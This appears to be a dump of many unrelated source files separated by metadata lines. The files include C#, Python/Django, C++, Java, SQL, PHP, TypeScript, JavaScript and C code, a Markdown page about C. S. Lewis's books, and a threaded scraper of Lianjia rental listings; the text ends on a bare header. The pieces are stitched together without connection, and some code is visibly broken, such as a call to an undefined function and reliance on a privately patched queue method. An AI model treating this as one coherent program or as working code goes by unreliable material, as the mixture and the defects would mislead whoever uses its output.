using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Text; using System.Threading.Tasks; namespace Oak.Domain.Models { public class DbGraph { public DbGraph() { Objects = new List<DbObject>(); } public IReadOnlyList<DbObject> Objects { get; set; } public DateTime CapturedUtc { get; set; } public List<DbObject> GetCallTree(string objName, CallTreeDirection direction) { var tested = new List<string>(); if (direction == CallTreeDirection.Up) { var newObjectList = trimForUpwardOnlyReferences(this.Objects, objName); return newObjectList; } else { var rootObj = this.Objects.FirstOrDefault(o => string.Equals(o.Name, objName, StringComparison.OrdinalIgnoreCase)); if (rootObj != null) return new List<DbObject> { rootObj }; else return new List<DbObject>(); } } List<DbObject> trimForUpwardOnlyReferences(IReadOnlyList<DbObject> list, string objectName) { if (list == null) return new List<DbObject>(); var target = list.FirstOrDefault(l => string.Equals(l.Name, objectName, StringComparison.OrdinalIgnoreCase)); if (target == null) return new List<DbObject>(); var dependentObjNames = new List<string>(); getDependentObjectsNames(target, dependentObjNames); // Remove all redundant dependent links foreach (var item in list) { for (var x = 0; x < item.DependsOn.Count; x++) { var obj = item.DependsOn[x]; if (!dependentObjNames.Contains(obj.Name)) { item.DependsOn.RemoveAt(x); x--; } } } // Only get dependent links var results = list.Where(l => dependentObjNames.Contains(l.Name)).ToList(); return results; } void getDependentObjectsNames(DbObject obj, List<string> collector) { collector.Add(obj.Name); obj.DependedOnBy.ForEach(d => getDependentObjectsNames(d, collector)); } public enum CallTreeDirection { Down, Up } } }
Python
UTF-8
1,991
2.53125
3
[]
no_license
from django.http import HttpResponse from django.views.generic import View from rest_framework.renderers import JSONRenderer from rest_framework.parsers import JSONParser from app3.serializers import ProductSerializer from app3.models import ProductModel import io class ProductOperations(View): def get(self,request): qs = ProductModel.objects.all() ps = ProductSerializer(qs,many=True) json_data = JSONRenderer().render(ps.data) return HttpResponse(json_data,content_type="application/json") def post(self,request): byte_data = request.body # Will get data in bytes stm = io.BytesIO(byte_data) # converting bytes into streamed data dict_data = JSONParser().parse(stm) # Converting streamed data into dictionary ps = ProductSerializer(data=dict_data) if ps.is_valid(): ps.save() message = {"message":"Product is Saved"} else: message = {"errors":ps.errors} json_data = JSONRenderer().render(message) return HttpResponse(json_data,content_type="application/json") class ReadOneProduct(View): def get(self,request): b_data = request.body strm = io.BytesIO(b_data) d1 = JSONParser().parse(strm) product_no = d1.get("product_no",None) if product_no: try: res = ProductModel.objects.get(no=product_no) ps = ProductSerializer(res) json_data = JSONRenderer().render(ps.data) except ProductModel.DoesNotExist: message = {"error": "Invalid Product No"} json_data = JSONRenderer().render(message) return HttpResponse(json_data,content_type="application/json") else: message = {"error": "Please Provide Product No"} json_data = JSONRenderer().render(message) return HttpResponse(json_data, content_type="application/json") print("Thanks")
C++
UHC
1,523
2.84375
3
[]
no_license
#define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <cstdio> #include <algorithm> #include <vector> #include <string> #include <hash_map> using namespace std; int main() { long long k; long long bit = 0; vector<long long> room_number; vector<long long> answer; long long Idx; hash_map<long long, long long> room; k = 10; room_number.push_back(1); room_number.push_back(3); room_number.push_back(4); room_number.push_back(1); room_number.push_back(3); room_number.push_back(1); /* Ʈŷ Ǯ̹ -> ڰ ũ ðʰ... */ /* for (int i = 0; i < room_number.size(); i++) { Idx = room_number[i]; // 湮 ʾ if ((bit & (1 << Idx)) == 0) { result.push_back(room_number[i]); bit = bit | (1 << Idx); // 湮 ǥ } // 湮, ̰ͺ ڰ ũ鼭 ȣ ִ´. else { while (1) { if ((bit & (1 << Idx)) == 0) { // 湮 ʾ result.push_back(Idx); bit = bit | (1 << Idx); // 湮 ǥ break; } else Idx++; } } } */ for (int i = 0; i < room_number.size(); i++) { Idx = room_number[i]; if (room.find(Idx) == room.end()) { room.insert({ Idx, 1 }); answer.push_back(Idx); } else { while (1) { Idx += 1; if (room.find(Idx) == room.end()) { room.insert({ Idx, 1 }); answer.push_back(Idx); break; } } } } }
Python
UTF-8
558
3.765625
4
[ "MIT" ]
permissive
def greeting(name): print('Hello ' + name) greeting('Bob') greeting('Doris') def power(val, exponent=2): my_power = val ** exponent return my_power res = power(5, 2) print(res) res = power(5, 3) print(res) res = power(6) print(res) def read_file(filename): seqs = [] my_file = open(filename, 'r') for curr_line in my_file: my_line = curr_line.strip() seqs.append(my_line) my_file.close() return seqs my_seqs = read_file('seqs.txt') print(my_seqs) for seq in my_seqs: calc_codon_usage(seq)
Markdown
UTF-8
3,887
2.921875
3
[ "Apache-2.0", "MIT" ]
permissive
--- title: "C. S. Lewis" created_at: Tue Aug 14 21:58:58 MDT 2018 kind: article tags: - c_s_lewis_author - author - books --- <h2> C. S. Lewis bibliography <a href="https://en.wikipedia.org/wiki/C._S._Lewis_bibliography" target="_blank"></a> </h2> <h1>Books</h1> <h2>Abolition of Man</h2> <h3> How 'The Abolition of Man' Destroys the Idols of the Postmodern Age by Bradley J. Birzer August 7, 2018 <a href="https://www.intellectualtakeout.org/article/how-abolition-man-destroys-idols-postmodern-age" target="_blank">intellectualtakeout.org/article</a> </h3> Of these books, The Screwtape Letters probably sold the best, but the one that has lasted to this day—especially in terms of reputation and stature—is his short but vigorous Abolition of Man. As with Mere Christianity, published in 1952 but based on several of Lewis’s World War II addresses, The Abolition of Man began as a series of lectures, ostensibly to consider the state of the English language and the teaching of it. Owen Barfield, one of Lewis’ closest friends and a deeply important scholar in his own right, pronounced The Abolition of Man not only Lewis’s best non-fiction work, but also the best example of one of Lewis’s two best traits: his “atomic rationality.” (The other trait was his romantic mythmaking.) Since its initial publication seventy-five years ago, The Abolition of Man has served as one of the finest non-reactionary bulwarks against the faddish ideologies and various subjectivisms and other nihilistic nonsense of the political and cultural Left. No student can read it without calling into question the whole of his education. <h2>Chronicles of Narnia</h2> <h4> <a href="https://www.narniaweb.com/books/readingorder/" target="_blank">narniaweb.com</a> In What Order Should the Narnia Books Be Read? </h4> <h5>Publication Order</h5> Below is the original order in which The Chronicles of Narnia first appeared on bookshelves: 1. The Lion, the Witch and the Wardrobe (1950) 2. Prince Caspian: The Return to Narnia (1951) 3. The Voyage of the Dawn Treader (1952) 4. The Silver Chair (1953) 5. The Horse and His Boy (1954) 6. The Magician’s Nephew (1955) 7. The Last Battle (1956) <h5>Chronological Order</h5> Sometime after the death of C. S. Lewis, British editions of the books began appearing that were numbered chronologically: 1. The Magician’s Nephew 2. The Lion, the Witch and the Wardrobe 3. The Horse and His Boy 4. Prince Caspian: The Return to Narnia 5. The Voyage of the Dawn Treader 6. The Silver Chair 7. The Last Battle <h5>What did C. S. Lewis actually say?</h5> One year after the final Narnia book was published, an 11-year-old boy named Lawrence Krieg wrote to Lewis asking which order he should re-read the books in (he had already read them once in publication order). His mother felt he should stick with the original order, but Lawrence wondered if he should re-read chronologically. The author’s response: <q> “I think I agree with your order for reading the books more than with your mother’s. The series was not planned beforehand as she thinks. When I wrote The Lion I did not know I was going to write any more. Then I wrote P. Caspian as a sequel and still didn’t think there would be any more, and when I had done The Voyage I felt quite sure it would be the last. But I found as I was wrong. So perhaps it does not matter very much in which order anyone read them.” – C. S. Lewis, 4/23/57 </q> <!-- html boilerplate fragments <a href="" target="_blank"></a> <a name=""></a> <img src="" width="400px"> <ul> <li></li> <li><a href="" target="_blank"></a></li> </ul> <pre> </pre> <p style="margin-bottom: 2em;"></p> <hr style="border: 0; height: 3px; background: #333; background-image: linear-gradient(to right, #ccc, #333, #ccc);"> <pre><code> </code></pre> <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'> </math> -->
Java
UTF-8
2,479
3.5625
4
[]
no_license
package com.studio.bill.file_handling; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.nio.charset.Charset; import java.nio.file.*; import java.util.List; public class Exercise1 { private static final String FILENAME = "xanadu.txt"; private static final Charset CHARSET = Charset.defaultCharset(); private static final String PROMPTFORCHAR = "Please enter a character to count: "; private Path file = null; public static void main(String[] args) { Exercise1 exercise1 = new Exercise1(); exercise1.run(); } public void run() { char c = this.getCharFromUser(); List<String> fileList; this.openFile(); fileList = this.readFile(); System.out.println("Character " + c + " occurs " + this.numberOfOccurances(fileList, c) + " times"); } // TODO: Read character from user public char getCharFromUser() { char c = 0; BufferedReader readIn = null; readIn = new BufferedReader(new InputStreamReader(System.in)); try { System.out.println(PROMPTFORCHAR); c = readIn.readLine().trim().charAt(0); } catch (IOException e) { e.printStackTrace(); } finally { try { readIn.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return c; } public void openFile() { file = Paths.get(FILENAME); } @SuppressWarnings("finally") public List<String> readFile() { List<String> returnList = null; try { returnList = Files.readAllLines(this.file, CHARSET); } catch (IOException e) { e.printStackTrace(); } finally { return returnList; } } public int numberOfOccurances(List<String> fileList, char c) { int count = 0; for (String line : fileList) { char[] charArray = line.toCharArray(); for (int i = 0; i < charArray.length; i++) { if (charArray[i] == c) { count++; } } } return count; } }
SQL
UTF-8
415
3.515625
4
[]
no_license
-- Gives average active session (like OEM) for all database instances -- based on 1 minute interval from gv$active_session_history select inst_id ,count(*) DB_TIME ,round(count(*) / (60),2) Avg_Active_Session ,rpad('*',round(count(*) / (60),2),'*') LATENCY_GRAPH from gv$active_session_history where session_type = 'FOREGROUND' and sample_time > (sysdate - 1/1440) group by inst_id;
PHP
UTF-8
531
2.53125
3
[]
no_license
<?php class DB2HashBuilder extends CacheBuilder { public function build($application,$cacheGroupName,$cacheKeyId) { $this->init($application,$cacheGroupName); $sqlQuery = $this->getSql(); $rs = $this->DB->getAll($sqlQuery); $dataList = array(); if(count($rs)) { foreach($rs as $v) { $hash_key = $v['HASH_KEY']; unset($v['HASH_KEY']); $dataList[$hash_key] = $v; } } return $dataList; } }
Python
UTF-8
8,044
2.921875
3
[]
no_license
import threading from datetime import datetime from queue import Queue from public import * from pymongo import MongoClient # 思路:先获取商圈信息 # 通过商圈信息,多线程去获取成交信息,根据成交信息的数量,把ID及参数放入变量 # 根据这个变量,多线程去最终获取 # 'bizcircle_id': '1100000602', 商圈ID # 'bizcircle_quanpin': 'chengnanyijia', 商圈全拼 # 'bizcircle_name': '城南宜家', 商圈名 # 'city_id': 510100, 城市Id # 'city_name': '成都', 城市名称 # 'district_id': '510104', 行政区ID # 'district_name': '锦江',行政区名称 # 'condition':获取api的参数 # subway_line 地铁线 # city_abbr 城市简称 ''' 修改queue方法,保证入队的数据唯一 def put(self, item, block=True, timeout=None, unique=False): """增加了unique参数""" with self.not_full: #----- 以下三行为新增代码 -----# if unique: if item in self.queue: return #----- 新增代码结束 -----# ''' # 多线程采集,传入原始商圈信息,往队列里写入可直接抓取的商圈信息 class Crawl_thread(threading.Thread): ''' 抓取线程类,注意需要继承线程类Thread ''' def __init__(self, thread_id, queue): threading.Thread.__init__(self) # 需要对父类的构造函数进行初始化 self.thread_id = thread_id self.queue = queue # 任务队列 def run(self): ''' 线程在调用过程中就会调用对应的run方法 :return: ''' print('启动采集线程:', self.thread_id) try: self.crawl_spider() except: print('采集线程错误1') print('退出采集线程:', self.thread_id) def crawl_spider(self): while True: if self.queue.empty(): # 如果队列为空,则跳出 print('队列为空,跳出') break else: bizcircle = self.queue.get() total_count = get_rented_count(bizcircle['city_id'], bizcircle['condition']) # 根据返回的总数,分割成不同的ID和参数,放入变量 if total_count <= 2000 and total_count != 0: data_queue.put(bizcircle, unique=True) elif total_count > 2000: # 如果大于2000条,调用do_rented_2000分段 rented_split = do_rented_2000(bizcircle['city_id'], bizcircle['condition']) for rs in rented_split: # 此处有大坑,bizcircle_tmp应在此处赋值,如在之前赋值会有问题 bizcircle_tmp = bizcircle.copy() # 复制一个对象出来,用COPY,不能用= brp = list(rs.keys())[0] erp = list(rs.values())[0] bizcircle_tmp['condition'] = bizcircle['condition'] + 'brp{}erp{}'.format(brp, erp) data_queue.put(bizcircle_tmp, unique=True) print(' 采集线程ID:', self.thread_id, " {}>{}>{}>{} {}条记录,bizcircle_queue队列余量:{}".format (bizcircle['city_name'], bizcircle['district_name'], bizcircle['bizcircle_name'], bizcircle['condition'], total_count, self.queue.qsize())) # 多线程处理,传入商圈信息,直接进行最后抓取 class Parser_thread(threading.Thread): ''' 解析网页的类,就是对采集结果进行解析,也是多线程方式进行解析 ''' def __init__(self, thread_id, queue, db): threading.Thread.__init__(self) self.thread_id = thread_id self.queue = queue self.db = db def run(self): print('启动解析线程:', self.thread_id) while not flag: try: item = self.queue.get() # get参数为false时队列为空,会抛出异常 if not item: pass self.parse_data(item) self.queue.task_done() # 每当发出一次get操作,就会提示是否堵塞 except Exception as e: pass print('退出解析线程:', self.thread_id) def parse_data(self, item): ''' 解析网页内容的函数 :param item: :return: ''' self.rented = get_rented(item['city_id'], item['condition']) # print('item', item) for r in self.rented: r_copy = r.copy() r_copy.update(item) r_copy.update({ '更新时间': datetime.now()}) self.db.update_one({'house_code': r_copy['house_code']}, {'$set': r_copy}, upsert=True) print(' 解析线程ID:', self.thread_id, "写入:{}>{}>{}>{} {}条记录,parse_data队列余量:{}".format(item['city_name'], item['district_name'], item['bizcircle_name'], item['condition'], len(self.rented), self.queue.qsize())) flag = False # 退出标志 data_queue = Queue() # 存放解析数据的queue def main(): cityid = 510100 # 设置城市id bizcircle_queue = Queue() # 存放商圈数据到queue cityinfo = get_city_info(cityid) print('正在获取 {}【{}】行政区域及商圈信息'.format(cityid, cityinfo['city_name'])) condition_list = [] for city in cityinfo['district']: # 遍历行政区 print('{}>{} 商圈数:{}'.format(cityinfo['city_name'], city['district_name'], len(city['bizcircle']))) for biz in city['bizcircle']: # 遍历商圈 # 写入城市ID,城市名,区域ID,区域名,商圈信息 if biz['bizcircle_quanpin'] not in condition_list: biz_ad = biz.copy() biz_ad['city_id'] = cityinfo['city_id'] biz_ad['city_name'] = cityinfo['city_name'] biz_ad['district_id'] = city['district_id'] biz_ad['district_name'] = city['district_name'] biz_ad['condition'] = biz['bizcircle_quanpin'] + '/' condition_list.append(biz['bizcircle_quanpin']) bizcircle_queue.put(biz_ad, unique=True) print(' 商圈名称:{}'.format(biz['bizcircle_name'])) print('\n' + ' 商圈抓取完毕,数量为 {}'.format(bizcircle_queue.qsize()) + '\n') conn = MongoClient('127.0.0.1', 27017) db = conn.链家网 # 连接mydb数据库,没有则自动创建 db2 = db[cityinfo['city_name'] + '租房成交信息(多线程/API)'] # 初始化采集线程 crawl_threads = [] for thread_id in range(5): # 传入线程ID, thread = Crawl_thread(thread_id, bizcircle_queue) # 启动爬虫线程 thread.start() # 启动线程 crawl_threads.append(thread) # 初始化解析线程 parse_thread = [] for thread_id in range(20): # thread = Parser_thread(thread_id, data_queue, db2) thread.start() # 启动线程 parse_thread.append(thread) # 等待队列情况,先进行网页的抓取 while not bizcircle_queue.empty(): # 判断是否为空 pass # 不为空,则继续阻塞 print('标记0') # 等待所有线程结束 for t in crawl_threads: t.join() print('标记1') # 等待队列情况,对采集的页面队列中的页面进行解析,等待所有页面解析完成 while not data_queue.empty(): pass print('标记2') # 通知线程退出 global flag flag = True for t in parse_thread: t.join() # 等待所有线程执行到此处再继续往下执行 print('退出主线程') if __name__ == '__main__': d1 = datetime.now() main() d2 = datetime.now() print('总用时:', d2 - d1)
C#
UTF-8
9,393
2.78125
3
[]
no_license
using System; using System.Collections.Generic; using System.ComponentModel; using System.Linq.Expressions; using System.Reflection; using System.Xml.Serialization; namespace App.Components { /// <summary> /// 编辑器类型 /// </summary> public enum EditorType { [UI("自动选择")] Auto, [UI("标签")] Label, [UI("文本框 ")] TextBox, [UI("多行文本框")] TextArea, [UI("HTML编辑框")] HtmlEditor, [UI("MD编辑框")] MarkdownEditor, [UI("数字框")] NumberBox, [UI("日期选择")] DatePicker, [UI("时间选择")] TimePicker, [UI("日期时间选择")] DateTimePicker, [UI("图片")] Image } //======================================================== // UIAttribute //======================================================== /// <summary> /// 描述字段对应控件的 UI 外观 /// </summary> public class UIAttribute : Attribute { /// <summary>标题</summary> public string Title { get; set; } /// <summary>分组</summary> public string Group { get; set; } /// <summary>格式化字符串</summary> public string FormatString { get; set; } /// <summary>宽度</summary> public int Width { get; set; } = 100; /// <summary>是否只读</summary> public bool ReadOnly { get; set; } = false; //--------------------------------------------- // 可见性 //--------------------------------------------- /// <summary>网格状态时是否显示(这三个属性可能要合并掉,用n个UIAttribute替代)</summary> public bool ShowInGrid { get; set; } = true; /// <summary>编辑状态时是否显示</summary> public bool ShowInForm { get; set; } = true; /// <summary>详情状态时是否显示</summary> public bool ShowInDetail { get; set; } = true; public bool Ignore { get { return this.ShowInGrid && this.ShowInForm && this.ShowInDetail; } set { if (value) { ShowInGrid = false; ShowInForm = false; ShowInDetail = false; } } } //--------------------------------------------- // 编辑状态 //--------------------------------------------- /// <summary>编辑控件</summary> public EditorType Editor { get; set; } = EditorType.Auto; /// <summary>编辑控件相关属性</summary> public string EditorInfo { get; set; } = ""; /// <summary>是否必填</summary> public bool EditRequired { get; set; } = false; /// <summary>精度(小数类型)</summary> public int EditPrecision { get; set; } = 2; /// <summary>正则表达式</summary> public string EditRegex { get; set; } = ""; //--------------------------------------------- // 自动计算字段 //--------------------------------------------- // 全名 [XmlIgnore] public string FullTitle { get { if (string.IsNullOrEmpty(Group)) return Title; else return string.Format("{0}-{1}", Group, Title); } } /// <summary>对应的字段信息</summary> [XmlIgnore] public PropertyInfo Field { get; set; } //--------------------------------------------- // 构造函数 //--------------------------------------------- public UIAttribute(string title, string group = null, string formatString = "{0}") { this.Title = title; this.FormatString = formatString; this.Group = group; } } //======================================================== // UIExtension //======================================================== /// <summary> /// 辅助扩展方法 /// </summary> public static class UIExtension { /// <summary>获取类拥有的 UIAttribute 列表</summary> public static List<UIAttribute> GetUIAttributes(this Type type) { var attrs = new List<UIAttribute>(); foreach (var prop in type.GetProperties()) { UIAttribute attr = ReflectionHelper.GetAttribute<UIAttribute>(prop); if (attr == null) attr = new UIAttribute(prop.Name); attr.Field = prop; attrs.Add(attr); } return attrs; } /// <summary>获取枚举值的文本说明(来自UIAttribute或DescriptionAttribute)</summary> public static string GetDescription(this object enumValue) { if (enumValue == null) return ""; var enumType = enumValue.GetType(); FieldInfo info = enumType.GetField(enumValue.ToString()); if (info != null) { var attr1 = info.GetCustomAttribute<UIAttribute>(); var attr2 = info.GetCustomAttribute<DescriptionAttribute>(); if (attr1 != null) return attr1.Title; if (attr2 != null) return attr2.Description; return enumValue.ToString(); } return string.Empty; } /// <summary>获取枚举值的文本说明(来自UIAttribute或DescriptionAttribute)</summary> public static string GetGroup(this object enumValue) { if (enumValue == null) return ""; var enumType = enumValue.GetType(); FieldInfo info = enumType.GetField(enumValue.ToString()); if (info != null) { var attr1 = info.GetCustomAttribute<UIAttribute>(); if (attr1 != null) return attr1.Group; } return ""; } /// <summary>获取属性的文本说明(来自UIAttribute或DescriptionAttribute)</summary> /// <example>var text = typeof(Product).GetDescription("Name");</example> public static string GetDescription(this Type type, string propertyName) { var info = type.GetProperty(propertyName); return GetDescription(info); } /// <summary>获取属性的文本说明(来自UIAttribute或DescriptionAttribute)</summary> /// <example>var text = typeof(Product).GetDescription("Name");</example> public static string GetDescription(this PropertyInfo info) { if (info != null) { var attr1 = info.GetCustomAttribute<UIAttribute>(); var attr2 = info.GetCustomAttribute<DescriptionAttribute>(); if (attr1 != null) return attr1.Title; if (attr2 != null) return attr2.Description; } return ""; } /// <summary>获取属性的文本说明(未完成)</summary> /// <example> /// TODO: /// var text = typeof(Product).GetDescription(t => t.Name); /// var text = product.Name.GetDescription(); /// var text = Product.GetDescription(t => t.Name); /// var text = UIExtension.GetDescription<Product, string>(t => t.Name); /// </example> public static string GetDescription<TSource, TResult>(Expression<Func<TSource, TResult>> expression) { throw new NotImplementedException(); } } //======================================================== // UISetting //======================================================== /// <summary> /// UI 设置。可根据该类动态设置用户界面(如网格、表单等) /// TODO: 未完成 /// </summary> [XmlInclude(typeof(UIAttribute))] public class UISetting : IID { public int ID { get; set; } public string Title { get; set; } public Type ModelType { get; set; } public List<UIAttribute> Settings { get; set; } // 构造函数 public UISetting(Type type, string title = "", int id = -1) { var attr = ReflectionHelper.GetAttribute<UIAttribute>(type); // title if (!string.IsNullOrEmpty(title)) this.Title = title; else { if (attr != null && !string.IsNullOrEmpty(attr.Title)) this.Title = attr.Title; else this.Title = type.Name; } // this.ID = id; this.ModelType = type; this.Settings = type.GetUIAttributes(); } /// <summary>从xml文件中加载</summary> public static UISetting LoadXml(string filePath) { return SerializeHelper.LoadXml(filePath, typeof(UISetting)) as UISetting; } public void SaveXml(string filePath) { SerializeHelper.SaveXml(filePath, this); } //public static UISetting Demo() //{ // return new UISetting(typeof(User), "用户"); //} } }
TypeScript
UTF-8
848
3.0625
3
[]
no_license
import { Pipe, PipeTransform } from '@angular/core'; import * as moment from 'moment'; @Pipe({ name: 'formatToHourMinute', pure: true }) export class FormatToHourMinute implements PipeTransform { /** * Takes a value and makes it lowercase. */ transform(now: number, started: number) { let duration = now - started; return this.hhmmss(Math.round(duration / 1000)); } pad(num) { return ("0" + num).slice(-2); } hhmmss(secs) { let isNegative = secs < 0 ? true : false; secs = isNegative ? Math.abs(secs) : secs; let minutes = Math.floor(secs / 60); secs = secs % 60; let hours = Math.floor(minutes / 60) minutes = minutes % 60; return (isNegative?"-":"")+this.pad(hours) + ":" + this.pad(minutes) + ":" + this.pad(secs); } }
JavaScript
UTF-8
8,364
2.640625
3
[]
no_license
function verifica_usuario (tipopessoa) { //Se a pessoa marcar para ter acesso ao sistema ela deve preencher o CPF ou CNPJ para poder logar var acesso = $("select[name=possuiacesso]").val(); var obrigacadastropessoacpf=$("input[name=obrigacadastropessoacpf]").val(); if (acesso==0) { document.form1.cpf.required=false; document.form1.cnpj.required=false; //Ocultar campos de senha $("tr[id=tr_senha]").hide(); } else if (acesso==1) { if (tipopessoa==1) { //Pessoa Fisica document.form1.cpf.required=true; document.form1.cnpj.required=false; } else { //Pessoa Jurídica document.form1.cpf.required=false; document.form1.senha.disabled=false; document.form1.senha2.disabled=false; document.form1.grupopermissoes.disabled=false; document.form1.quiosqueusuario.disabled=false; document.form1.cnpj.required=true; document.form1.pais.required=true; document.form1.estado.required=true; document.form1.cidade.required=true; document.form1.cidade.required=true; } $("tr[id=tr_senha]").show(); } else { //alert("Erro grave de Javascript! Verifique a funcao verifica_usuario no arquivo pessoas_cadastrar.js"); } if (obrigacadastropessoacpf==1) { document.form1.cpf.required=true; } } function pessoas_popula_quiosque (valor) { $.post("pessoas_popula_quiosque.php",{ pessoa:$("input[name=codigo]").val(), cooperativa:$("select[name=cooperativa]").val(), grupo_permissao:valor },function(valor2){ //alert(valor2); $("select[name=quiosqueusuario]").html(valor2); }); } function tipo_pessoa(valor) { var usamodulofiscal=$("input[name=usamodulofiscal]").val(); var obrigacadastropessoacpf=$("input[name=obrigacadastropessoacpf]").val(); if (usamodulofiscal==1) { $("input[name=cidade").attr("required", true); } else { $("input[name=cidade").attr("required", false); } if (valor==1) { //Pessoa Física //$("tr[id=tr_categoria]").hide(); $("tr[id=tr_cnpj]").hide(); $("tr[id=tr_pessoacontato]").hide(); $("input[id=telefone1ramal]").hide(); $("input[id=telefone2ramal]").hide(); $("tr[id=tr_cpf]").show(); $("tr[id=tr_datanasc]").show(); $("span[id=span_administrador]").show(); $("span[id=span_gestor]").show(); $("span[id=span_supervisor]").show(); $("span[id=span_caixa]").show(); $("tr[id=linha_razaosocial]").hide(); $("tr[id=linha_im]").hide(); $("tr[id=linha_contribuinteicms]").hide(); $("select[name=cnpj]").attr("required", false); $("select[name=razaosocial]").attr("required", false); $("select[name=ie]").attr("required", false); $("select[name=im]").attr("required", false); $("select[name=contribuinteicms]").attr("required", false); //$("select[name=categoria]").attr("required", false); $("select[name=contribuinteicms]").attr("required", false); $("input[name=cnpj").attr("required", false); if (usamodulofiscal==1) { $("input[name=cpf]").attr("required", true); $("select[name=cidade]").attr("required", true); } else { $("input[name=cpf]").attr("required", false); $("select[name=cidade]").attr("required", false); } if (obrigacadastropessoacpf==1) $("input[name=cpf]").attr("required", true); } else if (valor==2) { //Pessoa Jurídica //alert('2'); //$("tr[id=tr_categoria]").show(); $("tr[id=tr_cnpj]").show(); $("tr[id=tr_pessoacontato]").show(); $("input[id=telefone1ramal]").show(); $("input[id=telefone2ramal]").show(); $("tr[id=tr_cpf]").hide(); $("tr[id=tr_datanasc]").hide(); $("span[id=span_administrador]").hide(); $("span[id=span_gestor]").hide(); $("span[id=span_supervisor]").hide(); $("span[id=span_caixa]").hide(); $("tr[id=linha_razaosocial]").show(); $("tr[id=linha_ie]").show(); $("tr[id=linha_im]").show(); //$("select[name=categoria]").attr("required", true); $("input[name=cpf]").attr("required", false); if (usamodulofiscal==1) { $("tr[id=linha_contribuinteicms]").show(); $("input[name=cnpj]").attr("required", true); $("input[name=razaosocial]").attr("required", true); $("select[name=cidade]").attr("required", true); $("select[name=contribuinteicms]").attr("required", true); } else { $("tr[id=linha_contribuinteicms]").hide(); $("input[name=cnpj]").attr("required", false); $("input[name=razaosocial]").attr("required", false); $("select[name=cidade]").attr("required", false); $("select[name=contribuinteicms]").attr("required", false); } } else { alert("Erro de envio de parametros para a função"); } } function aparece_tiponegociacao() { //alert("opa"); var fornec= $("input[id=fornec]").val(); //alert(fornec); var temp= document.form1.fornec; if (temp) { if (document.form1.fornec.checked == true) { $("tr[id=tr_tiponegociacao]").show(); } else $("tr[id=tr_tiponegociacao]").hide(); } } $(document).ready(function() { aparece_tiponegociacao(); tippes = $("select[name=tipopessoa]").val(); verifica_usuario (tippes); //Verifica o tipo de pessoa fisica ou jurídica para mostrar os campos corretos na tela pessoa=$("select[name=tipopessoa]").val(); //alert(pessoa); tipo_pessoa(pessoa); //Verifica qual mascara de IE deve usar estado=document.getElementById("estado").options[document.getElementById("estado").selectedIndex].text; mascara_ie(estado); contribuinte_icms($("select[name=contribuinteicms]").val()); }); function valida_ie2 (valor) { estado=document.getElementById("estado").options[document.getElementById("estado").selectedIndex].text; //alert("mascara im conforme estado: "+estado); pesquisa_ie(valor,estado); } function popula_cidades2() { $("select[name=cidade]").html('<option>Carregando</option>'); $.post("estadocidade.php", { estado: $("select[name=estado]").val() }, function(valor) { $("select[name=cidade]").html(valor); $("input[name=ie]").val(""); $("input[name=im]").val(""); //alert("aaa"); var est= document.getElementById("estado").options[document.getElementById("estado").selectedIndex].text; mascara_ie(est); }); } function contribuinte_icms(valor) { if (valor==1) { $("input[name=ie]").attr("required", true); } else { $("input[name=ie]").attr("required", false); } } function mascara_telefone1 (fone) { if (fone.length<=13) $("#telefone1").mask("(00)0000-00009"); else $("#telefone1").mask("(00)00000-0000"); } function verifica_telefone1 (fone) { if (fone!="") { if ((fone.length==13)||(fone.length==14)) { //Telefone digitado corretamente } else { alert("Número de telefone incorreto!"); $("input[name=fone1]").val(""); $("input[name=fone1]").focus(); } } } function mascara_telefone2 (fone) { if (fone.length<=13) $("#telefone2").mask("(00)0000-00009"); else $("#telefone2").mask("(00)00000-0000"); } function verifica_telefone2 (fone) { if (fone!="") { if ((fone.length==13)||(fone.length==14)) { //Telefone digitado corretamente } else { alert("Número de telefone incorreto!"); $("input[name=fone2]").val(""); $("input[name=fone2]").focus(); } } }
C
UTF-8
656
2.84375
3
[]
no_license
#include "hashtable.h" #include <assert.h> int main(void) { //create a hash table hash_table* mydict = create(HASHSIZE); //add first, first, First, fiRst, second to the dict add_word("first", mydict); add_word("second", mydict); add_word("first", mydict); add_word("first", mydict); //test the check, getFrequency, and is_empty assert(check("first", mydict)); assert(!check("not_member", mydict)); int freq = getFrequency("first", mydict); assert(freq == 3); assert(!is_empty(mydict)); hash_table* emptydict = create(HASHSIZE); assert(is_empty(emptydict)); printf("asserts passed\n"); }
JavaScript
UTF-8
1,593
3.34375
3
[]
no_license
const math = require("./math.js"); //3 create tests for reqs describe("the math module", () => { describe("the add function", () => { test("adds two numbers", () => { //assertion statement(s) expect(math.add(3, 5)).toEqual(8); expect(math.add(2, -3)).toEqual(-1); expect(math.add(1.2, 3.1)).toEqual(4.3); }); // test("converts numerical strs", () => { // expect(math.add("3", "2")).toEqual(5); // }); // test("returns NaN for non numerical input", () => { // expect(math.add("a", "b")).toBeNaN(); // expect(math.add([1, 2, 3], [4, 5, 6])).toBeNaN(); // }); test("throws err on non number", () => { expect(() => { math.add('2', '3') }).toThrow() expect(() => { math.add([], 3) }).toThrow() }) }); describe("the subtract function", () => { test("subtracts two numbers", () => { //assertion statement(s) expect(math.subtract(4, 2)).toEqual(2); expect(math.subtract(3, 5)).toEqual(-2); expect(math.subtract(2, -3)).toEqual(5); expect(math.subtract(3.1, 1.1)).toEqual(2); }); test("converts numerical strs", () => { expect(math.subtract("3", "2")).toEqual(1); }); test("returns NaN for non numerical input", () => { expect(math.subtract("a", "b")).toBeNaN(); expect(math.subtract([1, 2, 3], [4, 5, 6])).toBeNaN(); }); }); }); test('to be vs to equal', () => { //toBe doesn't work very well with objects, arrays, non-primitive data types expect(3).toBe(3); expect([1,2]).toEqual([1,2]); })
C++
UTF-8
1,852
3.21875
3
[]
no_license
